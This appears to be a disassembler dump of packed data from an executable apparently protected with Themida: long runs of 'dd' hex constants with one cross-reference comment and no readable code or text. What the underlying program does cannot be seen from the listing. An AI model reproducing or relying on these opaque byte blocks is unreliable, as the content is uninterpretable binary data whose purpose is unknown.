dd 87AF580Ch, 0C6A8EE58h, 4C580C01h, 22CD73DEh, 26D321Ch
dd 0CDA16FCh, 6A022A58h, 45848AD2h, 0FB5E0007h, 0F6D1F5D3h
dd 0C6B0388Fh, 0E98B8h, 13AC3000h, 0CEEFE4C1h, 88339F7Ch
dd 3D7C5936h, 0F4C90EEBh, 614F69A2h, 18F54776h, 0D1AE00B9h
dd 8966B807h, 101C6E4Dh, 0F19C8288h, 0B5B0580Bh, 0F7C4124Eh
dd 23983E4Bh, 0F4B5F77h, 0EDEDD194h, 0FDC58DFEh, 0F1F011F7h
dd 77FD2551h, 51F1EF91h, 0E1C7CDA5h, 0F551F1EFh, 0A00635CDh
dd 844h, 0E7F7D9B7h, 0F7D51F1h, 494F175Fh, 51F1E863h, 1A204F77h
dd 6E4D8552h, 0EB05FB3Fh, 113957EBh, 15FB01C9h, 29580BEBh
dd 87338C4Ch, 6268972Fh, 287A4195h, 84308B4Bh, 27B10A78h
dd 0FC94EC98h, 186FAEB4h, 0FD255DFFh, 90E5B11Fh, 0ECFAE438h
dd 0DE5h, 74C6F9E3h, 2F813C97h, 0E93B8052h, 9EF0C90Ch
dd 55A716C1h, 0C3149C1Ch, 6CBA8FAh, 548461B3h, 9A3C196Bh
dd 3BC3CF21h, 0BF24F35h, 1686358h, 4BF7C412h, 7723983Eh
dd 3B9C6E6Ah, 313EEA82h, 136B17A6h, 0F4FA0FC6h, 51F1E80Eh
dd 0B662FA22h, 0EFAD169Fh, 0B96BA335h, 5CB43555h, 0D4910A48h
dd 8AFEED6Dh, 6FD6BCC2h, 0C2EA51F2h, 2E5D5C75h, 77BC8h
dd 0A513DF00h, 90ABB1F9h, 0FE57EBEAh, 15C18ED6h, 0E4EDFAA6h
dd 0E2F03DD5h, 0A6D52DD9h, 0B803D3A0h, 6E4D8966h, 0EA9A7CC2h
dd 0B220580Bh, 0AA427959h, 3D18B62h, 94EB0C30h
dd 1A595F65h, 4E5DFFD0h, 136A5181h, 8AFA4F2Bh, 73F7262Dh
dd 46D6D4Bh, 523C3890h, 0D1844h, 932CB000h, 4E6F6441h
dd 8B31FFCh, 0BDFCD9B6h, 74498E6Bh, 0E1CFE922h, 9875C7F6h
dd 512E8039h, 9E63887h, 909CEECDh, 0F31C0208h, 3530580Bh
dd 47C412CEh, 0F1E85B41h, 0AF476F51h, 1CE0F603h, 5E433AE2h
dd 37A1EE29h, 2C44F088h, 4617A18h, 0FAFEECF5h, 6CCh, 0E7F2D911h
dd 148251F1h, 261E246Ch, 4E57EBEBh, 0BD556471h, 0F6E0AD75h
dd 4B8B96C5h, 51512870h, 42FE1051h, 0CAA7B7E6h, 0FB03AF0Ch
dd 5D63A82Eh, 580C8577h, 1FCB638Bh, 208E98C7h, 7A5B2870h
dd 0C3B933Fh, 0D0D10006h, 3F675DFFh, 902D8361h, 42503A38h
dd 0C69h, 0F0427D5Fh, 0ABFDC013h, 65B704CEh, 1A6C4D88h
dd 0D1239A3Dh, 47902098h, 8A472476h, 0D800DD2Fh, 1EB895E7h
dd 0B73F4B9Dh, 0BF3CBB1h, 7DE4DF58h, 63494F17h, 7751F1E8h
dd 0C115204Fh, 95414EFAh, 0E78A7076h, 769E51F1h, 5CC032DEh
dd 983E0B3Eh, 686A7723h, 0B74FA753h, 0AD597D88h, 0A7F99128h
dd 0EDF1FC69h, 17502FEh, 2DFA0000h, 0FCE312A9h, 308D4A17h
dd 0F2FD2C84h, 3B2127E4h, 4F51F1E8h, 0D6E38F27h, 0ECD10600h
dd 0FE50E840h, 0C40CB422h, 0E5392BBEh, 1CBC9957h, 0F6C30BA3h
dd 13A62BDDh, 48770F67h, 80ED6DEh, 58061922h, 0C0C60E36h
dd 580618DAh, 5397C6EEh, 58061971h, 2EDADFF6h, 5F0BB221h
dd 0C72A680Ah, 27BCDE00h, 0F8D9BD3Eh, 3DC0h, 0A513D700h
dd 21E9B1F9h, 0B73D7E54h, 51F1E7D1h, 21070DE5h, 3551F1E8h
dd 246750Dh, 57E5033Fh, 492F350Dh, 5D580603h, 0ABF19D35h
dd 580602C9h, 0FB90B2D4h, 0F8D9D66Ah, 0AC94h, 0C412AB00h
dd 993E4BF7h, 6B6B7824h, 0AE310850h, 0A9833B66h, 8088F221h
dd 0ED9924B3h, 7B5B6695h, 0ECD8EE40h, 7551F1BBh, 8A31A561h
dd 9A3986DEh, 6C438B23h, 0D9FEC31Dh, 0AABAE9D5h, 68B060CEh
dd 0E6EFC962h, 7D563357h, 9860A840h, 4B00BCBh, 65727DACh
dd 93431058h, 0CE9F928h, 0DA14F2CBh, 0F73EA80Fh, 0AEFFF0Dh
dd 3D90000h, 468D6ABCh, 8A482577h, 0D302DF31h, 20B794E6h
dd 0A6124B9Dh, 9EF0CD0Ah, 57A910C1h, 0F615E7Ah, 0C517A432h
dd 452B31B9h, 59580BF5h, 0C512F75Eh, 1CEA6F8h, 0E33BE7D6h
dd 0D92DA9B4h, 0D628C0FFh, 42C4121Dh, 0E8942C91h, 78C0FBDBh
dd 0E5912CABh, 10BCFDD8h, 2D320B8h, 84B30BB7h, 4969674h
dd 13ED0000h, 299244A5h, 458D257Dh, 0E5DEB57Dh, 7995BE65h
dd 40C1A72Dh, 0ADD551F2h, 1B4A7360h, 0E644F8D7h, 1AC6EE57h
dd 644F2D4h, 0BFDBFD58h, 0D9954124h, 201BDF8h, 0E8B50000h
dd 1C24D0E9h, 6513016h, 841C4458h, 0E0D96E55h, 8851F1E7h
dd 74A316BBh, 379FFC6Ah, 0DCA4EC84h, 0F1E7F0D6h, 0ADDC0451h
dd 0EAA3A1A7h, 0AFD757EBh, 0D13E9A67h, 0BEAE5CBh, 39D1F958h
dd 743C040Ah, 0BEB886Eh, 0FFBE1558h, 0D7E21139h, 0EBCE07FFh
dd 0FD4FE73Fh, 5905B620h, 0B70DF4Dh, 5E6DDCE5h, 652D750Dh
dd 0D17D3E98h, 0D7064A79h, 6D5DFFB9h, 44916745h, 6A543890h
dd 9D45Ch, 0D7E8F400h, 922BA885h, 4C6F6340h, 1B81DFAh
dd 0B805D2AFh, 258B2D66h, 0DCB90BB2h, 9572C4F5h, 4D2A7C43h
dd 0D4E03289h, 0F660464Ch, 7974580Bh, 0B4401712h, 59254D23h
dd 9E1F050Bh, 0B3351F2h, 9D394473h, 46107F5Fh, 90287088h
dd 0BCFFD7E4h, 183A9E10h, 77C9F2E4h, 0B906D29Fh, 1A86B50Dh
dd 0FEEDA24Bh, 11AB3h, 4A17CA00h, 0ECE73489h, 9ECD25D1h
dd 0CC784393h, 52A417BFh, 10580876h, 0E539770Ah, 11BDE557h
dd 618E9CBh, 0B0D2F458h, 0D9BC4A1Bh, 3BB4F8h, 13CB0000h
dd 0E9B1F9A5h, 0D403BC1Ch, 0E502CD90h, 874C1957h, 0B01F3177h
dd 0A63E69E6h, 1FCBF377h, 61EF7D9h, 642C0258h, 61F785Eh
dd 35648C58h, 392CA7E3h, 0C5F8D9BBh, 9Ah, 0F7C412DCh, 10C0D8AFh
dd 0A83518A1h, 0D5020F79h, 0A72F3CE8h, 7B5B6814h, 0DCD8EE40h
dd 8551F224h, 3C186A51h, 12DA22CEh, 7E2A9145h, 1AB3F726h
dd 8457E7DAh, 844C145Ch, 9B8987Eh, 0AB12558h, 1840065Eh
dd 0C4F9DEE9h, 0A8C39A72h, 8E5A3916h, 3B9CA7D6h, 905EA482h
dd 0B19B3EA7h, 8A0A3h, 0BB42800h, 0C6F7DCB9h, 803B9774h
dd 3584512Eh, 0ECD106E3h, 5957619Ah, 10ED3F7Eh, 0C9A6F8C1h
dd 815EB00Fh, 8146655h, 0F7947A80h, 0ADA8580Bh, 0F8C51246h
dd 0AE0DC9A6h, 0C412A35Ch, 983E4BF7h, 65F3D123h, 2B000002h
dd 9844795Eh, 132A1140h, 0ABB1F9A5h, 57EBEA53h, 2167133Bh
dd 580BEB3Fh, 0FFAB14C4h, 2DD9E6F2h, 951436D8h, 0F5EEACCEh
dd 0F8D3EE70h, 2178Eh, 0E0D9A500h, 8451F1E7h, 1C226A16h
dd 57EBEADCh, 67347CA4h, 1DFA4C6Fh, 4E5602B9h, 3C6B5281h
dd 0D41CC432h, 0FF379FCEh, 74DCB35Dh, 0DD7735D4h, 19F67AA9h
dd 0FA52FEBDh, 1C6ACB2h, 0B2DA5E20h, 0DCD03C1Ah, 533D3890h
dd 7DC45h, 0CFF0EC00h, 8A33A07Dh, 44775B38h, 0F9C015F2h
dd 0B00DCAA7h, 1D93255Eh, 0D4B103BAh, 8D6ABCFDh, 4522744Bh
dd 0CCD82A91h, 0F8583E44h, 716C580Bh, 0F7C4120Ah, 5D76434Bh
dd 2D5CB460h, 0BF07B422h, 0ACDBE0F2h, 0EBB8D042h, 1825D1ECh
dd 206800B9h, 0F1E8341Ah, 0F1204851h, 8D49E39Fh, 0C79EDC2Eh
dd 97FEEDF1h, 0F3E3C9CFh, 0CFF751F1h, 15A3AA0h, 12510000h
dd 3E4BF7C4h, 0F9D12398h, 765FA52Ch, 727CAB43h, 0E145C04h
dd 57E5397Bh, 0B3999F67h, 0C7580618h, 0FEC709Fh, 0B15DF5C8h
dd 619896Bh, 0F4C90E58h, 209B3B48h, 0FC9E0274h, 1961474Dh
dd 4D755806h, 8ECCEEB5h, 0D9BC5015h, 44AEF8h, 13C50000h
dd 0ABB1F9A5h, 57E502E8h, 3A4C5D34h, 258A8B15h, 9E4A72F6h
dd 6517658h, 21DBFB58h, 0F37A79AFh, 6B17AF8Fh, 9B47745Eh
dd 47A78D93h, 93BB5806h, 0D8D979DDh, 3853EF11h, 0F8D9922Dh
dd 0B9D1h, 0C412E800h, 993E4BF7h, 0A57626Fh, 0AC58F0CDh
dd 0BE01D7A4h, 808BBA12h, 2595A656h, 0B311EF6Eh, 74626F1Bh
dd 0D3DFF547h, 9C51F251h, 532F813Ah, 0EBF139E5h, 57E82752h
dd 0C6F9DFBCh, 0F2C90D1Ah, 956EE46h, 0E56EECDh, 0DF279641h
dd 72B1117h, 173F580Ah, 0DCFBD8E8h, 967AB522h, 73AE2D75h
dd 1458AF31h, 16F48C49h, 3EA65100h, 66293721h, 62000006h
dd 16F3457Ah, 0D1AE00BDh, 8B68BA01h, 401D6F4Ah, 9BD42697h
dd 7944931Dh, 32874A27h, 0EAD503E0h, 0A01BBB98h, 0B4BA424Eh
dd 580BF9CEh, 1280E7E2h, 0C9A6F8C5h, 12F8FE0Dh, 9F51F1E8h
dd 0E2BF8538h, 972FC7F4h, 0C4128C45h, 983E4BF7h, 1DF3D123h
dd 4A000000h, 4638C412h, 2C2A1F06h, 697622BAh, 2CA24E6Dh
dd 64728AC8h, 1B270557h, 7E000000h, 45674017h, 0C647FE00h
dd 714A8C97h, 829C7FC5h, 62A51F2h, 9526B044h, 0C4128A43h
dd 0D13F4BF7h, 501DE52Dh, 7C893586h, 5CB46059h, 0F55195C4h
dd 6357EBEAh, 0EBAF959Bh, 3B41580Bh, 580BEC55h, 537B4169h
dd 3078A024h, 487363h, 0EE1DA033h, 0E6D501DEh, 0BB02D19Eh
dd 1E88B70Fh, 0B4FCA412h, 89E1B8DDh, 2C79E05Fh, 0DFE514A5h
dd 6AA38D9h, 529AC25Eh, 0A1B0B38Ah, 7925983Bh, 5CDCCA21h
dd 13A62F7Ch, 0D5E00F67h, 9068BA01h, 7BAA15C3h, 33A06670h
dd 0E2AAF28Ah, 26A3F6DCh, 0B3E20A5Eh, 1FCF3D49h, 0CC72D1D7h
dd 40686419h, 7631BE62h, 7F8D7732h, 53Dh, 1C6E518Bh
dd 0D729943Fh, 91E3D8FAh, 469821B4h, 0FD4F6E69h, 1BBCF4C4h
dd 5E7350A2h, 0AC2C095Bh, 0F2E4C113h, 0E36B77C9h, 0BFAF7DDh
dd 0A9100B58h, 0A5F7C412h, 373D05CDh, 51F1E851h, 0D1B73D65h
dd 0E551F1E7h, 53838EBDh, 27AFBC68h, 1B8B46D5h, 266EF94Eh
dd 0F2703A20h, 8E264E51h, 4E0C70E2h, 499B20B6h, 6CEE9A71h
dd 0CC746C4Bh, 0BB67527Fh, 9DC83463h, 0C1FEED7Dh, 0AA28DEF4h
dd 0E44A7911h, 74h, 0F9A513FBh, 0BB1CE9B1h, 9E1DB502h
dd 54C02B6Fh, 0A6CE57E5h, 7847915Eh, 7C626830h, 90580636h
dd 51293968h, 0C16D4E84h, 2BB1C69h, 8BCFFE56h, 580635A7h
dd 9D56A630h, 467760D6h, 0ADEB429Ah, 7CF44BA9h, 0E0C56DE1h
dd 14F143DBh, 0EBB3FBC4h, 5905BA1Eh, 67957B01h, 0D1A95806h
dd 667E5CBh, 39D1F958h, 6805EBF1h, 0F1195806h, 464A58C2h
dd 0A1000004h, 9542C412h, 0BF576273h, 3064BB13h, 0A0A411B8h
dd 0F300AC44h, 761819E3h, 3CFCE2E8h, 0E81051F2h, 0D7850A91h
dd 0C57B6DBAh, 0B34BE39Bh, 84399E6Bh, 415180D8h, 4492F765h
dd 2673CB77h, 307810ADh, 0E5B4972Ah, 0AF280557h, 720A620Eh
dd 939E80C6h, 0B5235806h, 85515E0Ah, 7C828A36h, 58069396h
dd 82C82AAh, 7EA0674Ah, 419EC7DCh, 3F60F8D9h, 58000000h
dd 0B6E02B81h, 8EBDA465h, 49A513A7h, 0F1E85D43h, 0B1497151h
dd 3A06369h, 15EC57E5h, 0FE36ABFBh, 7F0332C5h, 0E08C31A2h
dd 0FE44F088h, 5806821Ch, 4E450527h, 0F8D95817h, 0E9E7h
dd 0C412FE00h, 907DD738h, 4AE2A8C2h, 7746919Eh, 0E2F6C3CBh
dd 740CAD28h, 1F9C3A45h, 4B706673h, 6507E3F9h, 0AD7551F2h
dd 0F264C1A7h, 7EADD551h, 6586373h, 0C14FAD29h, 0AC91A0F1h
dd 7A519931h, 17E33806h, 0C5DCF632h, 483B7DD4h, 0A98DC8C6h
dd 0C65E3842h, 0B3212D97h, 76438E5Bh, 0F2BF0AF0h, 5EF61E51h
dd 106D1016h, 0D3FB57E6h, 8737A581h, 0BAA0773Fh, 698B8B56h
dd 33B6FA29h, 815DFC47h, 93441159h, 0DCFBD82Ah, 735EAC2Ch
dd 0AA429A46h, 0AF47765Dh, 92B859D1h, 0F806F038h, 2F5h
dd 64B609D3h, 1F714C87h, 0D92B9042h, 8EE0D9FCh, 459726B1h
dd 0D304AC0Ch, 16BB98EAh, 647451A3h, 0AA2C095Bh, 2BB3BF11h
dd 0BFD3F25h, 0F1585358h, 0B0F8C512h, 0ACD411E8h, 8C7C1415h
dd 0F2AB2006h, 0DD0C3451h, 0D5E6F0CDh, 0A513CA83h, 0F3DAB1F9h
dd 0C4B5B02Fh, 0B2B8BEEDh, 57E51EEFh, 0A3E995BDh, 58061EC1h
dd 0F3E8AACCh, 0F8D9BA72h, 0E78Ch, 0C412A300h, 0F3E2AFF7h
dd 63FBC211h, 1ABDCA34h, 18EFF7A3h, 803F9EE6h, 0D2D82098h
dd 51F22EECh, 65A9D800h, 51F23489h, 43292FF7h, 5751F234h
dd 0E1F5002Fh, 5BB92DAh, 7EDF354h, 1B51F1FBh, 2FA49CF3h
dd 28051544h, 59610DAEh, 4574458Ch, 0D921CD3Bh, 0E5F030D3h
dd 4496BE57h, 85389F6Ch, 485281D9h, 9A8086DAh, 0AE5806CFh
dd 0A0A6EE86h, 5DFBA37Ch, 0CF9CE40Ch, 8663B508h, 0E6EFBC51h
dd 84674DD3h, 537B5E1Dh, 5A57DDBBh, 1C063893h, 1F00Eh
dd 0BB04D800h, 76478C69h, 308B4724h, 0E5D401DEh, 9C21B693h
dd 9A7114Ah, 0C09DEFCEh, 7956A811h, 310E605Fh, 0B8C416A5h
dd 0FE442A30h, 5D58580Bh, 48C512F6h, 0F1E85C42h, 487051h
dd 0F1E814FAh, 68002851h, 70763E16h, 51F1E78Ah, 3C47769Eh
dd 16CF219Ah, 34894A17h, 22CEF1E7h, 46909BCAh, 77602D75h
dd 0A0AD1746h, 56338536h, 838F3B80h, 1B216915h, 57E50830h
dd 156A163Eh, 0BF1F7BFh, 1F580608h, 0D476C8F7h, 0B305B620h
dd 0F6C30EDBh, 0B9C3F24Ah, 935BA34Bh, 0DDF90BC6h, 42DA32DEh
dd 0DD3E7F96h, 27B089C7h, 0F91C608Fh, 55DF964h, 4551373Dh
dd 3D655E1Ah, 4509EFF5h, 0F51D5E1Ah, 6E1A42C6h, 0FE467561h
dd 454A3036h, 365E5E1Ah, 0C3279D07h, 0A0006E87h, 36BCFFD3h
dd 5E1A4550h, 1C7F6DDh, 0A58B91D9h, 0B95E1A44h, 0ABB1F991h
dd 640D9188h, 0BF9CEE16h, 0EBF8A417h, 0BD8AD2EDh, 8EEF41Bh
dd 1C642E72h, 0C32D5CF4h, 0F19D22B6h, 1DC9F2E4h, 42A7E307h
dd 0B54F0BADh, 6C489A21h, 0B69CA2FEh, 0CA642E71h, 39D1E8EDh
dd 685359A1h, 766A2192h, 0A2D1498Fh, 0D6308734h, 0AB64E54h
dd 8E862B02h, 7C769367h, 9AC9615Ah, 0C874478Fh, 7CB1D173h
dd 141A620Eh, 70351929h, 0DE5D5037h, 3A496606h, 8C925AA2h
dd 70567FA6h, 536392BAh, 9623AE7Bh, 80EF5D67h, 7A594488h
dd 165EF647h, 508C6310h, 21CDF576h, 0A7F9C214h, 0DCFA0CCAh
dd 559B47DFh, 8E249B78h, 3C95627Ah, 4A79D17Dh, 34A25AF8h
dd 7E583587h, 5184913Dh, 95492068h, 78997471h, 0D5BBC109h
dd 0E9AE446Fh, 0D32892C1h, 0FBDB1131h, 0A5A178C0h, 77448E16h
dd 0DF1C73CBh, 0A0B0DF15h, 0E2DDFBC8h, 0A4AFDE36h, 0CFDD8932h
dd 0Dh, 965EE426h, 0F1E7AA90h, 6796BE51h, 0F5CA1280h, 219A3C49h
dd 4F706875h, 7E3B96A3h, 0AB12C5D2h, 0D8E5F2FFh, 3B61F2Ch
dd 33884A57h, 64597A87h, 545333B8h, 4C3815Bh, 83000000h
dd 1C8704EBh, 72685C24h, 89000030h, 0ED682404h, 89000067h
dd 1AB8242Ch, 2D4E743Bh, 77AD6F96h, 5A34902Dh, 51D8F706h
dd 0B05030B9h, 7E18137h, 0C10A353Fh, 0F18104E9h, 74CA151Bh
dd 4B9AE981h, 0C18157E4h, 46AB636h, 3559C831h, 2C223986h
dd 0C42A0F2Dh, 2C8B541Ch, 4C48324h, 8BA52h, 0EA010000h
dd 5A028F50h, 51242C8Bh, 0C181E189h, 4, 8704C183h, 0FF5C240Ch
dd 81582434h, 4C4h, 64B1E900h, 0B805FFFAh, 61A18DBh, 0E0FFC503h
dd 672C4719h, 3A1F4CA8h, 75660534h, 36420B5Eh, 43B539AAh
dd 2A2348BFh, 4E898492h, 607EF05Fh, 6CE16E0h, 7DEB4891h
dd 533F6E22h, 5562237Ch, 59ABB19Ch, 782B67EAh, 7B6EAB1Ch
dd 6796E4E9h, 3E4FB4E0h, 272F62BBh, 6F0A58D2h, 1C7C85EAh
dd 71F145F2h, 1EC9F837h, 6345EF91h, 4E30034Fh, 7BAD894Fh
dd 760C5B9Dh, 231F7383h, 44ADC527h, 0CE8h, 2787EF00h, 0EE0C6812h
dd 56FCBB8Ah, 79ACB9EDh, 665B5A88h, 2B22C181h, 5D3EC381h
dd 0CE90000h, 0A0000000h, 0C2EC8531h, 5E89394Bh, 68C37765h
dd 1722h, 605F5851h, 5A585050h, 0CE8h, 403A6C00h, 957F52E4h
dd 0F83CB7E0h, 0FF615B9Eh, 66C28133h, 5E010AC4h, 14E952h
dd 0C45C0000h, 47FF1DAAh, 567EF4AEh, 0A55A762Fh, 0D05BC954h
dd 81586A67h, 31258C6h, 81E38A14h, 0D71859C6h, 1CF68134h
dd 0E9666FB8h, 0Bh, 0E54E7318h, 0A14268E8h, 8942106Ah
dd 0C9816633h, 0EB83AD33h, 6820F04h, 81000000h, 690EBFE0h
dd 1EF830Eh, 0FF99850Fh
db 2 dup(0FFh), 0B8h
byte_5AA683 db 22h ; DATA XREF: Themida_:0054A1D0o
dd 0E9731D73h, 0A6h, 2DDE3979h, 0BAF5CC47h, 66D138F3h
dd 9FABAFD6h, 7C4DB297h, 95B7E3h, 0E9A9E572h, 9BB69CB5h
dd 0B6F37760h, 9EB794A9h, 7D60D760h, 9EA9BD89h, 729EBD8Ch
dd 4A95ACE3h, 9BB98B20h, 9D89937Eh, 0AFF496B9h, 94A19E96h
dd 91A7D6B5h, 48D100FDh, 33594ACCh, 5200713Ch, 0F357DB4Dh
dd 0EFB6005Eh, 0BD899DBBh, 9F899500h, 97BBEFB6h, 0B1B6D000h
dd 527155C3h, 0DA43700h, 910D3C2h, 0Eh, 9 dup(0)
dd 6BE90000h, 6800000Fh, 61A1D10h, 0FA62BEE9h, 1E2368FFh
dd 0B4E9061Ah, 68FFFA62h, 61A1EDEh, 0FA62AAE9h, 201168FFh
dd 0A0E9061Ah, 68FFFA62h, 61A20A6h, 0FA6296E9h, 216568FFh
dd 8CE9061Ah, 68FFFA62h, 61A2207h, 0FA6282E9h, 22A168FFh
dd 78E9061Ah, 68FFFA62h, 61A2330h, 0FA626EE9h, 23F268FFh
dd 64E9061Ah, 68FFFA62h, 61A24B0h, 0FA625AE9h, 260F68FFh
dd 50E9061Ah, 68FFFA62h, 61A2845h, 0FA6246E9h, 296D68FFh
dd 3CE9061Ah, 0F6FFFA62h, 0AA87D9E6h, 65429429h, 1FFC4E6Dh
dd 0D4B103B6h, 2F68BA03h, 0DB02789h, 0C6F3DEBBh, 7E419774h
dd 34874F2Ch, 484ED6E2h, 580C0362h, 28F57B76h, 0F9E00FB0h
dd 0AFF7C412h, 5CBD9BD8h, 154497A4h, 83389EABh, 8B915931h
dd 51F235A5h, 586291B9h, 36FE46EAh, 0CA506F69h, 51F235E4h
dd 9BA1D0F8h, 0E5870295h, 9C487057h, 6667456h, 0E1A97F58h
dd 665F5DBh, 99E10958h, 665AD93h, 6A99C158h, 4617A18h
dd 0FAF8D970h, 46h, 0F9A51311h, 0C9F2E4B1h, 0CB8E949Ah
dd 9957E502h, 0F0BDC571h, 0D52DD9E2h, 38062A6h, 698B5806h
dd 66411829h, 1C6003B4h, 4F587181h, 297E89F8h, 44D78EFAh
dd 0BA27F8D9h, 1F000000h, 0A16B5157h, 577F5806h, 0C4124128h
dd 993E4BF7h, 6B6B7824h, 3F97A450h, 6B67347Ch, 0FB112150h
dd 51F1ED1Eh, 1C6E4D89h, 0C265973Fh, 6F959FEEh, 0DBE7932Bh
dd 7379C16Dh, 57E54438h, 946CBEE6h, 7FAE11C7h, 0F570775h
dd 0FB1BDD09h, 0FD456D5Dh, 0C416A730h, 0EFCDF0E7h, 3893FA79h
dd 454624Ch, 2200000Dh, 0D6B305BAh, 916EC0FDh, 4B287A41h
dd 0DD2F8Ah, 5B94E6D7h, 3984535Dh, 0F2C70AE7h, 0AA15C3A0h
dd 605B7B58h, 747A020Eh, 580C048Eh, 1240A7A2h, 0E3B0F8C5h
dd 8E9ECDF0h, 8D1DFB6h, 0F39F1CBAh, 0CDF7449Bh, 0B91D2857h
dd 0ECF2BA02h, 51F28A06h, 0B3C3F21Ah, 8D4A17FAh, 0B864577Bh
dd 0C41CC860h, 711D8B95h, 3602329h, 62E57E5h, 0AF0F6BEh
dd 1E580603h, 175DC7F6h, 58060335h, 677C1E40h, 0F8D9D6FEh
dd 0D700h, 4F171700h, 0F1E86349h, 0AAA4E651h, 8CED347Dh
dd 646F9EC6h, 909D4972h, 84CA7647h, 51F226A7h, 0A5F7C412h
dd 1AD0EC8h, 8FD787F5h, 0E5404E89h, 82D4FC57h, 36C938A6h
dd 73FAD3DFh, 0E84EEABh, 293E8BB7h, 0C1F5DBE1h, 0E1095806h
dd 62390149h, 0B5771DAAh, 78BCEBDCh, 5DFB5F5Dh, 935BA3CBh
dd 76DBF5BCh, 0B775987Ch, 0AC92E9CFh, 20D3C05h, 0B996E8D5h
dd 3E9EF1Eh, 175E1DCDh, 0F97957EFh, 0E0389328h, 0BF1E8F6h
dd 0A7350000h, 0EAE9C618h, 2EA481D3h, 775E3B8Dh, 0C413F042h
dd 4A6EA7F9h, 0FA4C7166h, 0B305B41Dh, 6BBD02D6h, 2173488Eh
dd 0A1878D15h, 0B5580C05h, 0C51253BAh, 1CEA6F8h, 0B1BCEBD2h
dd 0FAE0E625h, 0E51F1E7h, 0E84A3036h, 365E51F1h, 0FBB4069Eh
dd 0AE38C412h, 388751A5h, 2AE841E1h, 0C6410ADh, 2330DC74h
dd 0D9B608B3h, 916C2F9h, 7E9CEECDh, 660A7827h, 49CD181Eh
dd 739B57E5h, 9B9B7ED2h, 0B523AF8Fh, 84BBC109h, 3A55839Dh
dd 0EC5A6612h, 0C1C7428Fh, 55A49DDBh, 832FC7EFh, 454B932Bh
dd 5B991F78h, 57666D4Ah, 2CAA77BFh, 76603D8Fh, 0D7156745h
dd 0EED83AF4h, 0B36E0h, 0D3ECF000h, 8E2FA481h, 48735F3Ch
dd 0FDBC19F6h, 0B409CEABh, 218F2962h, 0D8B507B6h, 916EC0F9h
dd 49267847h, 0D0DC2E8Dh, 65C4248h, 7570580Ch, 42C4120Eh
dd 727F2B90h, 26BE5663h, 50006E7Ah, 15C30208h, 9C7957E5h
dd 0A6EE8637h, 0F5F2D8DEh, 2E065805h, 5F64228h, 962E5658h
dd 0D7B5767h, 0A4131961h, 0BA5DF940h, 0BEA0E692h, 0C95E1A21h
dd 75F0EBA7h, 0E9F2C5B7h, 0D605B61Ch, 5570h, 0A5138700h
dd 40ABB1F9h, 4E57E554h, 0C711DE26h, 0F5E3B0F8h, 0C5111ECAh
dd 1F2F5EF6h, 6352509h, 0EBE6B358h, 51FDBC19h, 5DB561F9h
dd 49F5C610h, 1FB7C2F1h, 4E87549Ch, 1A67BF6Bh, 5804B9h
dd 0F4E4C1D1h, 22B683CBh, 0F6046E9Dh, 0A67h, 4574612Eh
dd 0A5132F16h, 0A7ABB1F9h, 0F757EB02h, 333191Fh, 6F47580Ch
dd 0C038369h, 0D76F9758h, 0AC2AF73Fh, 0F6E0BD0Fh, 27B07DC5h
dd 6392EA96h, 1A7FEDF9h, 1F67FFBCh, 51E8619h, 84CCF45Eh
dd 6C9B1EB7h, 7E3D9966h, 34874F2Ch, 620E7C88h, 46B5141Ah
dd 83AB6419h, 76CDE1A5h, 28362032h, 0A03h, 0B406B923h
dd 6FC1FCD7h, 297B4092h, 0DE30894Ch, 95E7D601h, 83545C5Ch
dd 0C60BE83Ah, 14C4A1F3h, 5A7C59ABh, 7B030F61h, 0C078F75h
dd 41A8A358h, 0F1E7F7D9h, 5F0F7D51h, 808D4A17h, 0F1E7947Ah
dd 0E880A851h, 0AFB5E43Ch, 0EB02FEA9h, 25330A57h, 0F9AFC4B6h
dd 244CD0FFh, 0F4C70FDCh, 3EF3CAA2h, 3BE0AFE8h, 0D0061140h
dd 0FFD6A3EBh, 69B60EBAh, 0B721506Fh, 49913DABh, 92957B81h
dd 81A9580Ch, 7464C52h, 0BD5DFFC1h, 53D9B795h, 523C3890h
dd 96E44h, 9B24B800h, 56676C49h, 10AB2704h, 0C5F4E1BEh
dd 7C419673h, 0E9C7F12Ah, 0A07DCFEEh, 59368831h, 11EE407Fh
dd 98A4F6C5h, 8240A10h, 3D38580Ch, 0F7C412D6h, 23983E4Bh
dd 44C90EDBh, 0F1E8583Eh, 0AC446C51h, 0E7FB137Dh, 0EE3530ABh
dd 44C9FEEDh, 0E0000004h, 2F8C4A17h, 0D888F600h, 0FF9AB990h
dd 0AA620A57h, 0C86F757Bh, 5E57EB3Fh, 0B521EE36h, 0FFD7B406h
dd 56EED107h, 6795410Eh, 8E6D90Fh, 0E110A85Fh, 784F3177h
dd 67D5580Ch, 4986FB7h, 6578DD50h, 0BD3D908h, 0AD573D43h
dd 846B580Ch, 0C616BAF5h, 0F542DA5Fh, 0D72FDBE2h, 0A22564A8h
dd 0B3DB5DFFh, 9072C5D5h, 6C7A6438h, 8AFh, 85A6577h, 0C315A82Bh
dd 7DCFECE6h, 328435A0h, 0E93B8255h, 2FA808B0h, 725F3C8Eh
dd 0C018F547h, 6D0ADFFh, 0CF5763B5h, 0C08E3C9h, 95FCF758h
dd 0E9BA4017h, 0FE4C5E4Bh, 0EA12C4CFh, 8D500773h, 0BC81550h
dd 616E1AB2h, 829A4675h, 501D2C6Eh, 30883485h, 0DED09501h
dd 782EFEEDh, 45000003h, 0F1E7F7D9h, 5F0F7D51h, 318E4A17h
dd 9F6FC02h, 1B57EB03h, 0F8DEABF3h, 429471C3h, 2DDC3C9h
dd 0C9F1580Ch, 0B798531h, 0E9952AAEh, 0ABB1F991h, 5DFF306Ch
dd 881CFA22h, 0B53890E5h, 80DBDCBh, 0C3190000h, 6CDAAFCh
dd 4A8865B7h, 93421F71h, 0E0F7D426h, 66528BDDh, 0DE308D4Ah
dd 97E9D001h, 4FA11EBAh, 5576472h, 856B71F9h, 99580C0Ah
dd 0C412379Eh, 942C9142h, 0C0FBDBE8h, 0AAE8FC14h, 0EDEE3431h
dd 2EDCAFEh, 0FAC20000h, 0F1F00EF4h, 0CBFA2251h, 0E7E1D9E4h
dd 158351F1h, 351B2169h, 4957EB03h, 3856B71h, 8B08580Ch
dd 47D56C4Dh, 0EF87AF75h, 0BFFCDAA7h, 7546906Dh, 0EF4FBDC9h
dd 0C8403E9h, 57EF1758h, 0CFDA090Fh, 48705DFFh, 9046446Ah
dd 15230D38h, 773h, 449629B3h, 0FF516C67h, 0B90BB022h
dd 6EC0F9DCh, 25774691h, 0F3E4CCECh, 369B78CAh, 84543183h
dd 0CA0CE93Bh, 0B939FF1h, 0C0A1F05h, 0D1383358h, 4BF7C412h
